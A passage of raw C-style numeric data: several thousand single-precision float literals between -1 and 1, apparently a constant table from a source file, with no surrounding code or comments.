0.0513772996762050f, -0.647561525299580f, 0.321958856072156f, -0.433510239079594f, -0.481493822802105f, 0.651663699618654f, 0.922649363108760f, -0.751799312011289f, -0.0336105332513619f, 0.236872038257485f, -0.0434863841224971f, 0.150810692021768f, -0.217629544451037f, 0.345890414626050f, -0.471941673338326f, 0.675001035054686f, -0.986585320322202f, -0.784679789758475f, 0.270727429189404f, 0.595792127677512f, -0.485969146811564f, 0.222507692419212f, -0.850070310429306f, -0.575184466843042f, -0.220860571657717f, -0.749449040845746f, 0.743039624335149f, 0.463892797640518f, 0.224829531690830f, 0.935410439714992f, 0.00609595972560872f, 0.830877831388658f, 0.0270299847557276f, -0.648763861115704f, 0.471982277585509f, -0.145722971031426f, 0.650947186397952f, -0.266164907037466f, -0.962378355156458f, 0.354855353373398f, -0.184127215272909f, -0.825621979621661f, 0.595495186093792f, 0.448679578752395f, -0.839671989567806f, 0.302158874138200f, -0.735484620769119f, -0.891040803749876f, 0.880298595525880f, -0.281199581528421f, 0.0195033020490396f, -0.511515485794419f, 0.447303195702203f, 0.375317547074287f, 0.964442757731427f, 0.167643569291013f, 0.0118587246816413f, 0.958187068873858f, 0.315395458761821f, 0.188852872643367f, 0.417450657662866f, -0.540566147670448f, -0.422709015019828f, 0.101425586029329f, -0.235465301656357f, -0.806044548641562f, -0.617153815671298f, 0.350658348898447f, -0.738540593521098f, 0.291893065415692f, 0.335435501842245f, 0.832048727909480f, -0.609539777284250f, -0.436992256701542f, -0.685315947977391f, -0.502107715051164f, -0.893460699283628f, -0.262263680492396f, 0.454417031133778f, 0.223227655510993f, 0.605288383003966f, -0.698800586984034f, 0.864843125666124f, 0.363752223710394f, -0.354571459375900f, -0.575008718239530f, 0.423061550052490f, -0.272459660313524f, -0.116932919064239f, 0.547073367599225f, -0.890822451422250f, -0.884262586749836f, -0.889803003239001f, 0.217660629852574f, 0.154863581361214f, -0.333284425759330f, -0.826087281020982f, -0.958198419703014f, 0.850114828540176f, -0.391190814837661f, 0.956578087128909f, 0.0541599967910713f, 0.0988550815990206f, 0.851903747125444f, 0.361959550717838f, -0.901818125706440f, -0.0561477675277424f, 0.522090821863134f, 0.263383912024089f, -0.161061362097086f, -0.983707460720128f, -0.333128836619106f, -0.546535222349413f, 0.627261888412583f, 0.408731616102241f, 0.754700916401496f, 0.869772826180715f, 0.362242883540519f, 0.853587698951791f, -0.698910717068557f, -0.671945256263701f, 0.802655941071284f, 0.338701009518668f, -0.0297818698247327f, -0.881311052338108f, -0.296717226328950f, -0.965699941652671f, -0.737164428831818f, 0.00804554422537485f, 0.989716933531351f, -0.832438692682457f, 0.454553001515962f, -0.933801685729775f, -0.644562445615081f, 0.104508389084640f, -0.535426180524709f, -0.937041822784313f, 0.599911275476691f, -0.789109397888652f, 0.821293320968620f, 0.818032308067912f, -0.838306491947354f, -0.172883985566904f, -0.185775969502745f, -0.672256019841514f, -0.412525056012874f, 0.142272136963196f, 0.792136721788200f, -0.726314486042219f, -0.445981475954073f, -0.857821372905156f, -0.783006950965519f, 0.438776336055643f, 0.400193156140386f, 0.177525578340235f, -0.435380642286229f, 0.547815754835977f, 0.0496394855194708f, -0.442174406426496f, -0.0856142956982360f, -0.0247840885457120f, -0.779016166389253f, -0.511802368745331f, 0.319887353303028f, 0.721806644023428f, 0.770423389111803f, 0.809969588377187f, -0.196191981856391f, -0.105718971622809f, -0.301674515042257f, 0.613622254387482f, -0.969517273103490f, 0.0144576310630131f, -0.668829420461301f, 0.750377960820232f, 0.696858494013122f, -0.563485511352760f, 0.726226115587466f, -0.227540741583116f, 0.665488592033944f, -0.124611809537824f, 0.489550286613580f, -0.579185308695604f, 0.628687311174276f, -0.295770837727116f, 0.240358361854250f, -0.155642183802961f, -0.885945841456110f, 0.388592282428421f, -0.663862196774143f, 0.363779469451472f, -0.371285870971327f, 0.563159689631810f, 0.102725415308920f, -0.320909176496511f, 0.334328794247963f, -0.401664407219370f, 0.726728495517480f, -0.192310060924823f, -0.107973316004269f, 0.898177814643418f, 0.456682306673978f, 0.890742303266606f, -0.742770990765425f, 0.0337493848747046f, 0.786190819119190f, 0.911503487800545f, 0.288384155888888f, -0.249479393879906f, -0.431949793185094f, -0.0847659302921913f, -0.475416985100444f, -0.362720571751962f, 0.676910741300893f, 0.00488530543559529f, -0.227678010632002f, -0.0632947771540859f, -0.990261099329279f, -0.708485805011827f, -0.304846597458441f, -0.480289782580152f, -0.593254971635338f, -0.656335976085053f, 0.584373334310954f, -0.493268395245234f, -0.00212668034894836f, -0.480221591678953f, 0.622365041709782f, -0.258845071515928f, 0.943825418665593f, -0.716642329101759f, -0.765317239111819f, 0.324487844009035f, 0.108158868464706f, -0.790583201992229f, -0.649218622127061f, 0.751409704126257f, 0.301455204388007f, 0.620482350165047f, 0.411016780608874f, -0.878843779367281f, -0.779673415191805f, 0.616508572699874f, 0.0750844738292273f, 0.341011338533919f, -0.553376665552953f, 0.277561087965059f, 0.527499935800293f, -0.489644680144407f, 0.514353996113782f, 0.229842524701725f, 0.139172928186734f, 0.793753206591897f, 0.835555341130211f, 0.794120687009671f, -0.0994745468343306f, 0.109098970584400f, 0.383123470993648f, 0.272549010931094f, 0.683070582699418f, 0.522823199313615f, 0.235903759158310,
-0.269490013000195f, -0.103775744391749f, -0.994083979953753f, 0.754983594207459f, 0.806308398378106f, -0.997543362839150f, -0.00396367603607373f, -0.873768378178592f, -0.755907732827809f, 0.703713206520365f, -0.0716773056166142f, 0.0792968663717508f, -0.113760825029016f, 0.828188140127672f, -0.103062543982628f, 0.0455017026983378f, 0.330658414568756f, -0.615810862221588f, 0.827890015477212f, -0.507551960954374f, -0.371044788092612f, 0.723489294741891f, 0.169072478802524f, 0.885612989356318f, -0.496475905980558f, 0.114400438991609f, 0.427961880327008f, -0.0456714004002505f, 0.0246660859589438f, 0.175616122301987f, -0.349777838484285f, -0.939474935533562f, -0.215061649130134f, 0.907049169335834f, -0.0553600192559760f, -0.982464152311714f, 0.405919915647442f, 0.755952405091542f, -0.695422520039876f, 0.373280568864688f, 0.483909023765611f, 0.784896384994620f, 0.978722132488262f, -0.113866140463085f, -0.630016943176703f, 0.512742627309861f, -0.829104067044703f, -0.240982431155520f, 0.0107361024967163f, -0.438682584788413f, 0.935730031472303f, -0.953447901200043f, -0.984218956474073f, -0.745077052885218f, -0.466232938128846f, 0.0326267564209573f, 0.303877586274065f, -0.199843777507458f, 0.674317529952029f, 0.448678903834397f, -0.681863209154081f, 0.273397524216090f, 0.193101955704959f, -0.342858479278718f, -0.485179713360910f, -0.586067050491890f, 0.393099777352274f, -0.982324485510343f, -0.852553426343700f, 0.773613825101220f, -0.590256032959421f, 0.837952413540589f, -0.643137731235821f, -0.311955662956384f, -0.888588599835619f, 0.304629859477166f, -0.810098957400030f, -0.534291626181040f, 0.878601703692302f, 0.362706441157764f, -0.254447668911795f, 0.604309282304246f, -0.977266419340276f, 0.250927873824064f, 0.549600558999971f, -0.796155833245480f, 0.226373301058549f, 0.0137578302483823f, 0.819708534464965f, 0.185662636424304f, -0.450456459548662f, 0.0953849597308440f, 0.736872088617975f, -0.582024306116842f, -0.0522261513001507f, 0.394348349710790f, -0.461023913227183f, 0.139996201153565f, -0.790168851966909f, 0.692544084408690f, -0.580603732841955f, -0.584540773580447f, -0.967062276813525f, -0.00886260208554912f, -0.0520831218167985f, -0.999614949922684f, -0.965820736077636f, 0.366390034326646f, 0.0323069925013668f, 0.164651515113853f, 0.300260003499445f, -0.340634856317630f, -0.238157231550037f, -0.291645957143165f, -0.773881882387456f, -0.144494053860223f, 0.660329619628580f, -0.626727996257997f, -0.994965090982706f, 0.161018019917379f, -0.327211572176153f, 0.0410991278573425f, 0.0123663905917732f, 0.747176159655312f, -0.485981637435718f, 0.00667961234248971f, 0.631625759154389f, -0.831294487064668f, 0.449606477050286f, 0.768845094514142f, 0.928354534843426f, 0.812647997969340f, 0.353418126917875f, -0.872184763557736f, -0.579130598386915f, -0.912928075675835f, -0.779484407508668f, 0.534916834944041f, 0.326353225230543f, 0.395431557674662f, -0.842103899863317f, 0.196590107332985f, -0.261317824893025f, 0.750190543523333f, -0.103409967857074f, -0.201452426430379f, -0.213633615009587f, 0.578822104214576f, -0.130809161238349f, -0.774608769872343f, -0.0222201705228122f, 0.126990738965544f, 0.785780586747108f, 0.0379484317527632f, 0.837140835706189f, -0.191007948387153f, 0.106781679021568f, 0.990298140861558f, 0.618337701073777f, 0.460255491901774f, 0.716379796730692f, -0.159421014009881f, -0.560212468621569f, -0.147263014783522f, -0.962301694075771f, -0.327702010262213f, -0.773959532468388f, 0.351239668535113f, -0.682281479449518f, 0.342188824054257f, -0.743039216419066f, 0.700710268270439f, 0.919651386092770f, 0.626343233048871f, -0.157189576636596f, 0.781882574006976f, 0.349953565654219f, 0.361235312853466f, 0.313242228422046f, 0.582185182102266f, 0.554504358491139f, 0.711217954194576f, 0.332473377627418f, 0.165078226255772f, -0.228349029389292f, 0.899730713958153f, 0.653894503448836f, -0.0452904440925501f, 0.0328806142413372f, 0.793701315832839f, -0.703826261467540f, -0.901648894320192f, -0.195631966969018f, -0.0470590812056508f, 0.487185699934959f, 0.175961644103331f, 0.818028721319245f, -0.224389104974946f, 0.901974203693823f, -0.153212477843726f, -0.472747796173897f, -0.587471692952684f, 0.452340198339707f, 0.996443894349412f, -0.849126217374502f, -0.403800337277983f, 0.923427876645159f, -0.0516037992113898f, -0.380335341989182f, -0.299914673109747f, 0.764492139190834f, 0.773463290027243f, 0.0175454601261817f, -0.400742340353541f, 0.912354892189422f, 0.999766609328281f, -0.521321752061712f, -0.365769506846305f, 0.477612405338644f, -0.0522578739905535f, -0.479259238587280f, 0.645161410912429f, -0.702546085166056f, 0.359736398041538f, 0.638130894056863f, 0.115633419893101f, -0.674410360620500f, -0.150824943737990f, -0.824854463897591f, -0.504410162129685f, 0.560317574021813f, -0.159611666752889f, 0.997647540626334f, 0.702777895178414f, -0.946494281691535f, -0.0109619562916898f, -0.383756482005404f, 0.872670066971334f, -0.453527506439184f, -0.635719199113957f, 0.932852122005178f, -0.800755479140234f, -0.225213334363716f, 0.251163542389519f, -0.598147625383133f, -0.155241293946661f, 0.967736510890644f, -0.0157250628103103f, 0.250570924071858f, 0.209749651169078f, -0.381016062687537f, -0.679300447230592f, 0.160197663113971f, -0.749803147200800f, 0.596917045783617f, -0.0878737681749431f, 0.642402180339789f, 0.261614973684270f, -0.111833224093973f, 0.300170844971678f, 0.317966800167647f, 0.0585375534708252f, -0.842709435910728f, 0.760207701069839f, -0.979366191145221f, 0.940703569377911f, 0.866488078693979f, 0.553497107695259f, 0.127260247084497f, 0.530106152060111f, 0.725171359852920f, 0.356742729430045f, -0.209841680046178f, -0.164239817187855f, -0.888858150931758f, 0.0367561852378047f, 0.803496113779956f, -0.594927045375575f, -0.00347281985657166f, 0.114118941713783f, -0.427864462568672f, 0.719021423892768f, 0.335845790828654f, 0.0207216235296064f, -0.523146933862102f, -0.145001077781793f, 0.490566784879983f, 0.461904660734682f, -0.897010089735077f, -0.895737903861849f, 0.343397505472310f, -0.684377591381862f, -0.0154016881290400f, -0.462987614871549f, 0.884045010701589f, 0.192617174725234f, 0.226497290324550f, -0.788151335932529f, -0.190538526746651f, -0.556614046330326f, -0.139480186854974f, 0.196785300148418f, 0.978844132512627f, -0.290726060479808f, -0.591813978495167f, -0.0769033757443105f, -0.467044929381376f, 0.171585053083057f, 0.408215527269010f, -0.818706013465989f, -0.328144984930982f, 0.790275356337217f, -0.977491163139178f, -0.979679268318504f, -0.524875121608236f, -0.263859024168277f, 0.0180787743488171f, -0.984390626106750f, 0.952274619010224f, -0.851400664579601f, 0.692959439369046f, -0.150312001943653f, 0.712066554169562f, -0.492336226254660f, -0.453559897031351f, -0.159679763180474f, 0.745834647687870f, -0.725963425297178f, -0.720341794596050f, 0.370674334928492f, -0.845974926208293f, -0.00448769398027360f, -0.595973105115042f, 0.967372249596385f, 0.512949503724102f, 0.889619262804735f, 0.990718232652913f, -0.662246751886904f, 0.333846293708563f, -0.423114421367372f, 0.549637439543149f, -0.987876053136374f, -0.782714958794276f, 0.294868983681807f, 0.931284560597614f, 0.445522387300861f, -0.388400162488578f, -0.182673246109423f, -0.773488958971573f, 0.438788569593725f, 0.578106509978236f, -0.373449127435319f, -0.301996528814967f, -0.227124771031239f, 0.700176189695036f, -0.910948938567526f, 0.733412403327578f, 0.486154072292544f, -0.974058632864456f, 0.216693355653246f, 0.147564301397678f, -0.715192277853558f, -0.366996833259925f, 0.568909126406069f, -0.0810069456450131f, -0.371253841044151f, 0.254736918036059f, -0.868966383080701f, 0.190312518076662f, 0.457253801337437f, 0.941043431633233f, -0.297470749600241f, 0.244270515950156f, -0.240122562119888f, -0.766384662307300f, 0.765045432900429f, -0.608250739173787f, -0.733052557932594f, -0.268433000443065f, 0.733598123424154f, -0.0550005774741753f, 0.273893221740822f, -0.659641650983149f, 0.967032725204337f, 0.390126626361090f, 0.518740746381756f, -0.859387560527806f, 0.554117289841284f, 0.648904904654236f, -0.755880975555381f, 0.834231592524942f, -0.137512395743275f, 0.0477027353535724f, -0.880364563062979f, 0.458763614093086f, 0.650036413308116f, 0.496385905878033f, -0.418537115548864f, -0.565561960782851f, -0.227941684691245f, -0.165031891659812f, 0.204464989908300f, -0.688093624763916f, -0.678874848552394f, 0.813764873880514f, -0.561723359541237f, -0.575805702297063f, -0.288097000970518f, 0.950119107184838f, 0.709879842972902f, 0.730067219897393f, 0.710813066057284f, -0.192333836978130f, -0.190446300563246f, 0.872679304648751f, 0.134143163657763f, -0.979443835407234f, -0.103872104041761f, -0.0568328979324004f, -0.863020133862081f, -0.0257801722427251f, -0.577962771617033f, -0.0500056799801032f, 0.191817418291914f, -0.799853775410853f, -0.110019424741421f, 0.840753817223395f, 0.355588322976119f, 0.274501278628024f, 0.757538306972136f, 0.771547320156202f, 0.0394143752709530f, 0.120744072764658f, 0.324337882930581f, -0.380086709776951f, -0.772025774284869f, 0.473986846199588f, 0.703247561676381f, 0.734667480205300f, -0.594290184210087f, 0.760158653782445f, 0.624553744314883f, -0.941053266957965f, -0.165913770936962f, -0.0497972870738055f, -0.0435608680908517f, -0.663165366083943f, -0.570972482385751f, 0.427845034528880f, 0.0897903148165149f, -0.481825010950428f, -0.0901127105939594f, 0.887770435656611f, 0.770985476674623f, 0.00966158758316293f, -0.331059327378268f, -0.286033645163736f, -0.0698945910210471f, 0.834392309773299f, 0.875537383319608f, -0.657919190548359f, 0.583890957562885f, -0.418481077359384f, -0.282242397022386f, 0.864577023994874f, -0.898367126143440f, 0.815804441243808f, 0.616061408588373f, 0.132365642864798f, -0.221099752471970f, -0.852722283680675f, -0.269499596712950f, 0.360828136129415f, -0.120022743070141f, -0.0354652134632905f, -0.718389836602256f, 0.973490047219112f, -0.201775047168341f, 0.348769511760972f, -0.338750368577880f, -0.269769414088757f, 0.498910931428472f, -0.787648791515347f, 0.508408064858444f, -0.904215976374529f, -0.778575029821227f, -0.662889546847757f, -0.787503064261069f, -0.915166838630178f, -0.415784802770356f, 0.731806835017609f, -0.903922155472207f, 0.0872811033112211f, -0.452516774501827f, 0.577942533813694f, -0.200909337658770f, 0.866167939661793f, 0.982552542055944f, -0.332277333696961f, 0.201673960342839,
0.881239812364993f, -0.0293753746942893f, 0.0967170348490725f, -0.765573023404242f, -0.179225339525953f, -0.931530757069740f, -0.702596334762137f, 0.439106079307245f, -0.469364154277323f, 0.211063395888038f, -0.245858633045693f, 0.936376071219385f, 0.0334087380010875f, 0.0765265939183459f, 0.417091701258078f, 0.962467059286170f, -0.180698008768999f, -0.129816441691123f, -0.833694435146788f, -0.800582099046532f, 0.736376297618233f, 0.0164704176688124f, 0.207462305741760f, 0.300555292898496f, 0.777154212278295f, -0.0804533056660695f, -0.279940128908185f, 0.203101811030871f, 0.447496959357837f, 0.508353359025257f, 0.644333822521829f, 0.897259297488483f, -0.675785952117501f, 0.149337263319588f, 0.350953290584184f, 0.600296681944338f, -0.606098182955297f, -0.418312129297725f, 0.792551232171214f, -0.944025948110651f, -0.923106441737020f, 0.508989820072736f, 0.101554011154237f, -0.799369609980037f, -0.229001813644938f, 0.196367996268564f, -0.634078446275840f, 0.267446716753553f, 0.943765754688567f, 0.329924442019441f, -0.898235312442524f, 0.563592978494850f, -0.976934293161001f, -0.609744819901837f, 0.498989633313589f, -0.105680058480959f, -0.400730747241191f, 0.264919109340783f, -0.313066735594123f, -0.465399967597728f, -0.425123918113080f, -0.609514085808810f, 0.916560800692384f, 0.0173757138934230f, 0.147814399202503f, 0.594152503614559f, -0.145681097751433f, -0.427232299718493f, 0.233460382614713f, 0.337361272635241f, 0.376106438004541f, 0.900277274651600f, 0.424547631957395f, -0.710790444715071f, 0.0846761090154495f, -0.0122707338404220f, 0.119989812955904f, -0.239774389963524f, -0.692300891031819f, -0.735109129583214f, 0.802276300301071f, 0.348982047806247f, 0.916302084278941f, -0.0838164783829127f, -0.989134997097880f, 0.832909602224562f, -0.701363449605445f, -0.150487976031971f, -0.728594035984111f, -0.144393031996783f, -0.458856761770637f, 0.733295441303064f, -0.405608670768629f, 0.522871610912813f, 0.468223399458939f, -0.575139530810903f, -0.241684287862418f, -0.499140599234906f, -0.395586476697394f, 0.692745485195348f, -0.125142235859546f, -0.342212246193052f, 0.133841188490164f, -0.539478395228865f, -0.887973984329817f, -0.474033882236453f, -0.837114132429830f, 0.773392302912611f, 0.117697651876253f, -0.461595011213406f, -0.528669601602068f, -0.957799577987062f, -0.468654423525192f, -0.0602288998398475f, 0.154553704272891f, -0.422854231304259f, -0.496136532114270f, -0.348154983723668f, 0.0576478341707483f, 0.542088962901856f, -0.0465812136931592f, -0.280128217727361f, -0.900695482510248f, 0.525110685457899f, -0.957266165874283f, 0.136490670826643f, -0.213221811269364f, 0.690040133288898f, 0.269408771473479f, -0.0488994830172422f, -0.837526616586426f, -0.289127052660601f, 0.149325279006459f, -0.694169700971401f, -0.0230547571616897f, -0.368313297034846f, 0.344434270521740f, 0.859135365902404f, 0.839336654691204f, -0.511783987355355f, -0.0349625753049687f, 0.935857929664427f, 0.820032045433520f, -0.0394079346656324f, -0.656352913407746f, -0.874383371678169f, -0.425836335156061f, 0.208600154889275f, -0.135596548598733f, 0.566430757256762f, 0.820840891306264f, 0.735746624790780f, -0.765482927015804f, -0.0195537720748045f, 0.606216172027628f, 0.436027839798869f, -0.609233580289002f, -0.963547951222316f, -0.575271468261977f, 0.692873344771925f, 0.143031668657597f, 0.890157114774225f, 0.762299295692265f, 0.653618249618643f, -0.957258626549595f, 0.521895225378123f, -0.607922211531407f, -0.956795748110572f, 0.477633684273092f, 0.794301967670603f, 0.139753218894595f, 0.371726372555490f, -0.804791987531745f, 0.837080126047059f, -0.440992020192054f, 0.584986017638085f, 0.950442046050057f, 0.613109120495913f, 0.633948971396891f, -0.581246845000116f, 0.730290176291093f, 0.599119212595240f, 0.120096101936515f, -0.144169383323758f, 0.930776406826440f, -0.0209712926465206f, 0.572995665695966f, 0.924623298379120f, -0.751832867985678f, 0.630196806059302f, 0.506634179395662f, 0.0388997263873157f, -0.311041196366299f, -0.729049093325017f, -0.918815504666740f, -0.103935429478766f, -0.000623544124330300f, 0.102880227280474f, -0.563637096166535f, -0.332148269587814f, 0.472114131256244f, 0.295717126494164f, 0.246944592105312f, -0.713191555660498f, 0.160410320426559f, 0.110992936470077f, 0.213877527744528f, 0.541660996543375f, -0.872405734998843f, 0.388515073094269f, -0.840811647524440f, -0.968008592072007f, 0.669947948420772f, -0.122943215855172f, 0.565929115911552f, -0.695408966310186f, 0.361296950635219f, 0.574282481983669f, 0.0877180513263536f, -0.694316083550519f, 0.327696487191071f, 0.289746985823208f, -0.241476327174879f, 0.605084742574250f, 0.0929272338220821f, -0.391399761658219f, -0.612928183827531f, 0.0471987261466311f, 0.157388702609590f, 0.575695018001234f, 0.450453491026024f, 0.876623108212541f, -0.456500163180038f, 0.436901006801809f, 0.796734433864345f, 0.771008396172517f, -0.784740610155705f, 0.405172719255834f, 0.958393667559228f, 0.787380105147761f, -0.262826016234054f, 0.773327117333271f, 0.482142068916266f, -0.461607549022954f, -0.153993688218026f, -0.129280134980317f, 0.901812622560630f, -0.111520793491644f, -0.0973214524989203f, -0.293695817178366f, -0.190045093887485f, -0.204792515844396f, 0.501086384719391f, 0.755953359112033f, -0.425886872154604f, -0.0883029298084141f, 0.763071371252921f, -0.556289447935984f, 0.577370462369201f, 0.0480599614417476f, -0.794423686623353f, 0.756645959967545f, 0.570538730848462f, 0.872575422156333f, -0.443572567528656f, -0.0487937634747691f, 0.283986553648095f, -0.170910821134099f, -0.329867000423004f, -0.982322841409943f, 0.555344201026651f, -0.351964643393940f, 0.776172688776518f, -0.148102477734717f, 0.889532618676503f, -0.310979434517253f, 0.711839903052208f, -0.646385596147085f, 0.145592596381502f, 0.233949589173221f, -0.825471565980294f, -0.370248763132654f, -0.777194557275684f, -0.224658064754195f, 0.263281286751478f, 0.849661910468068f, 0.271261490445121f, -0.915885420717958f, -0.947144520818678f, 0.227960459606299f, 0.784463828083640f, 0.995882406349565f, -0.987273766396493f, 0.0792453274840108f, -0.788403526960056f, -0.619975942121645f, 0.801181796307713f, 0.967884377026145f, -0.781223064263388f, -0.300716486479280f, 0.994748932974184f, -0.200152360574411f, -0.101898131541608f, 0.542914585925881f, 0.407729967031792f, -0.105215843903154f, 0.638066037611924f, -0.563777780161298f, 0.134189395993685f, -0.503320561486155f, -0.0379170306314711f, 0.723638115686875f, 0.747948383928228f, 0.928239905995551f, -0.736883772878758f, 0.892242913709735f, 0.468998243295705f, -0.224406388545097f, 0.758754382878863f, 0.994739001052496f, -0.749837906573089f, -0.938777322178786f, -0.619168635741936f, 0.827875717654585f, 0.294033159230782f, -0.372766318349126f, -0.292752124932124f, 0.396629951868878f, -0.986760927173237f, -0.0841834195975009f, 0.999760803826313f, 0.0142305924173638f, -0.820393900206961f, 0.409972278573230f, 0.227315924377402f, -0.641500351639361f, -0.470788010535406f, -0.486171076557593f, -0.758140688442947f, -0.971539708794928f, -0.949039718833189f, -0.146844988902767f, -0.0183627478820223f, 0.402918762093981f, 0.0620266698060286f, -0.182527786403967f, -0.374395326540229f, 0.566584207940253f, 0.879546558847970f, 0.853360173786566f, -0.515321950652696f, 0.511692631053674f, 0.342152084355850f, 0.374686420595610f, -0.794372980760555f, -0.648670375991101f, 0.761192158420166f, 0.223791993225057f, -0.342720055148453f, 0.965612513218950f, -0.796193009647904f, 0.215057114709867f, -0.0459498239576994f, 0.871047701509015f, 0.664672380241520f, -0.546301701630944f, -0.939910946986200f, -0.213195706858966f, 0.559543622118596f, -0.255844807516886f, 0.509576048776352f, -0.699005089750431f, -0.520317652140772f, -0.924306703712950f, -0.923814193467638f, 0.868401299001930f, -0.571229497763863f, 0.984740691690212f, -0.911782692220985f, -0.265295471266664f, 0.0479848731515942f, -0.195328058836883f, 0.758281465939343f, -0.418177229854869f, -0.263323557662932f, 0.0230762644115943f, 0.382605016442608f, -0.576209059863238f, -0.739785100410209f, 0.0956412509899256f, 0.0369702493097637f, 0.0738922616872486f, 0.589371657036664f, 0.548586250623500f, 0.996096574632666f, -0.574178408335425f, -0.827059309028347f, 0.600283403682961f, -0.0651062813338117f, 0.985857002071398f, 0.982700721670305f, 0.777628710286989f, -0.139415722014730f, 0.951156387462424f, 0.806391217144736f, 0.135433009714206f, 0.252388414319270f, 0.485541324740928f, 0.270688932431637f, 0.892850103229909f, 0.440168171407923f, 0.515384398158669f, 0.600884162546465f, 0.947986221531091f, 0.339440884303404f, 0.403857490690436f, -0.937015609644647f, 0.729529495316627f, -0.389601866986821f, -0.420712615666380f, -0.763003723744745f, -0.0619534667970105f, 0.486654476027536f, -0.943536854881494f, 0.471171699317719f, 0.996886209046820f, -0.945316270673373f, 0.230772742042993f, -0.621222111022648f, 0.838934157721328f, 0.124035987915113f, 0.737576768711407f, -0.217898078842006f, 0.0429859145211120f, 0.223685413947773f, 0.820073956039170f, -0.378381145423743f, -0.335672684173821f, 0.649791267584388f, -0.457253860252872f, -0.664776842833046f, 0.150429615666837f, 0.974812973893170f, 0.00119972362050369f, 0.140744912838368f, -0.252632269055503f, -0.124205752907507f, -0.383194456927254f, -0.356455432479067f, 0.0694989880525767f, 0.188230048541949f, -0.854592697407303f, -0.902559387772971f, 0.454054169179423f, 0.534684767654295f, 0.806837289706952f, 0.274203715752641f, -0.765433763984323f, 0.459365005291520f, -0.896797218412250f, 0.382900474341852f, 0.169400421233177f, -0.184111368111075f, 0.0323514487432812f, 0.621015577938758f, 0.139872518806323f, 0.480965263781330f, 0.0649386999855643f, 0.815365754221614f, 0.761990264098834f, -0.0927412249348933f, -0.580853742457387f, 0.211615321410605f, 0.165159968106305f, 0.305515629345863f, 0.725748395743965f, -0.667649812347274f, -0.621843189978885f, -0.939317191264789f, -0.197108718554958f, 0.902152006895939f, -0.889744652803018f, 0.667113256888905f, 0.929471703711725f, 0.660025836042506f, -0.0712223078913006f, 0.416152292126436f, -0.602223852277700f, -0.828462878627106f, -0.956915163338265f, 0.298196541541469f, -0.933863927954050f, -0.198745190221695f, 0.749101206471011f, -0.922366396086261f, 0.769953026855636f, 0.971459582749177f, -0.226637139032289f, -0.593509265485619f, -0.635649447577657,
-0.443127775644156f, 0.350464269654307f, 0.379979516655134f, 0.896282784801247f, 0.00871209446887344f, 0.401818712823609f, 0.815422566258939f, 0.215868289995843f, 0.682217845700443f, 0.508819667108007f, -0.988484263336122f, 0.216656890144568f, -0.185777888700071f, 0.522106353117928f, 0.894211314619113f, -0.779300881699217f, 0.137801937535128f, -0.818740955579722f, 0.637214461095055f, 0.187867696634722f, 0.184985729971243f, 0.315323389557324f, -0.0312525033775366f, 0.498559120407008f, 0.855778208118391f, 0.936851170962385f, -0.0524308158818188f, 0.257087262622978f, 0.816141818246927f, -0.147192803443011f, 0.194545158383538f, -0.655428449892669f, -0.650441844539509f, 0.536015423540886f, 0.0250060573607953f, -0.863380305825989f, 0.0605420782823460f, -0.963662464088496f, 0.689136717877590f, -0.929664162821947f, -0.327349437742288f, 0.713122240487331f, 0.765587094162777f, -0.314350325341316f, 0.409992519686522f, 0.753377832105546f, -0.756848529995586f, 0.760787899507869f, 0.512213162407276f, -0.674820237484644f, 0.560776719592082f, -0.874905891603855f, 0.925202682923872f, -0.907405002733482f, -0.575836335118172f, -0.248173888600965f, -0.187923239740639f, 0.230951002247789f, -0.540190666146588f, 0.390890663320481f, -0.705511708249712f, 0.0980457138183717f, 0.879979753648798f, -0.378326046226794f, -0.645363625221967f, 0.883365508962968f, 0.728720763588748f, -0.191571576393619f, -0.941989254130187f, 0.944312154950866f, -0.367184985473008f, -0.974124559264444f, -0.579946765132286f, 0.509825236656578f, 0.952047194261820f, -0.0955445631918663f, -0.00500764501201401f, -0.00111382665477655f, -0.0404281661495578f, -0.265706359102834f, 0.865881843285797f, -0.947915521623861f, -0.820337973623839f, 0.0843747524022067f, -0.948599514028391f, -0.464018526769358f, 0.600790429663803f, -0.0779017384430381f, 0.756949801920938f, -0.955436496929340f, -0.553346424499498f, -0.401256107066610f, 0.569624108543687f, 0.179455179577041f, -0.189386842296675f, -0.467166492259358f, 0.367644583467601f, -0.722338735126514f, 0.863903729827081f, 0.0631027352569811f, -0.982269235503679f, -0.837788470642698f, 0.421730643738386f, -0.671745211565315f, 0.858467932275763f, -0.745298219348761f, -0.659594977600028f, 0.403238381269873f, 0.951987904652099f, 0.228887404582426f, -0.331665752024408f, 0.794789885033899f, 0.669978127515269f, 0.977583870328654f, -0.346398989178462f, 0.692053246433782f, -0.159407706019695f, 0.710808563527500f, -0.555701359319642f, 0.625665798239905f, -0.711048329414687f, -0.672431532474912f, -0.474897384314332f, -0.196250611816064f, 0.902140605659856f, -0.459732035217428f, 0.651412290305649f, -0.686137550630920f, -0.803228611526547f, 0.371120664039117f, 0.289869860968561f, -0.720979161638185f, -0.0940498575417996f, 0.185025844935128f, 0.401524077274769f, 0.811721346556136f, 0.224659861626089f, 0.106438807548742f, -0.117458956991326f, -0.407361487623449f, 0.683891165426988f, -0.216582410631386f, 0.710644530504861f, 0.867797453793643f, 0.626683550176870f, 0.115061097783331f, 0.976742668387085f, 0.250700864990527f, 0.272723539841862f, 0.159923684669346f, 0.167713264013185f, -0.445764377935606f, -0.489538472614810f, 0.227880894824940f, 0.670702116476237f, 0.610361511284318f, 0.503801949624464f, -0.687816091694902f, -0.0413765153535617f, 0.155769004545734f, 0.921910233366689f, -0.467299226678025f, -0.991984541712805f, -0.527009262324220f, 0.248157897392517f, 0.661145853979517f, -0.975947426744844f, -0.242453990684693f, -0.277956284573619f, 0.162010437415540f, 0.889456199489152f, -0.171259539670729f, -0.0636124576727060f, 0.311318764402696f, -0.227771282875219f, -0.567702050585727f, -0.132881625149059f, 0.870846950418812f, 0.440078398779761f, -0.0908818839265000f, 0.410077545060762f, 0.917678125288724f, 0.975295290129489f, 0.736514272579886f, 0.653896379317074f, -0.166512942888681f, -0.218665383726096f, -0.0688642360506688f, -0.596589868100824f, -0.180873413844075f, 0.229002598511067f, -0.647630976455599f, 0.722615884501717f, 0.760194030884127f, 0.253262836539679f, 0.0734191803957118f, -0.941427952376035f, 0.224118866807764f, 0.634990976599086f, 0.538622500570355f, -0.591487367587299f, 0.829253069890529f, 0.426659996899884f, -0.562435396124737f, 0.924178169394878f, -0.693964899988321f, -0.520472617448914f, 0.845157115508053f, 0.162984246343684f, -0.212032053476592f, 0.0482566706558292f, 0.820584028875367f, 0.676120066619505f, 0.590174358812695f, -0.457289938956925f, -0.351282540371674f, 0.322162683499620f, -0.683726196205246f, -0.279636659553935f, -0.186133028676429f, 0.965481755833750f, -0.0550172560314044f, -0.437844829991532f, 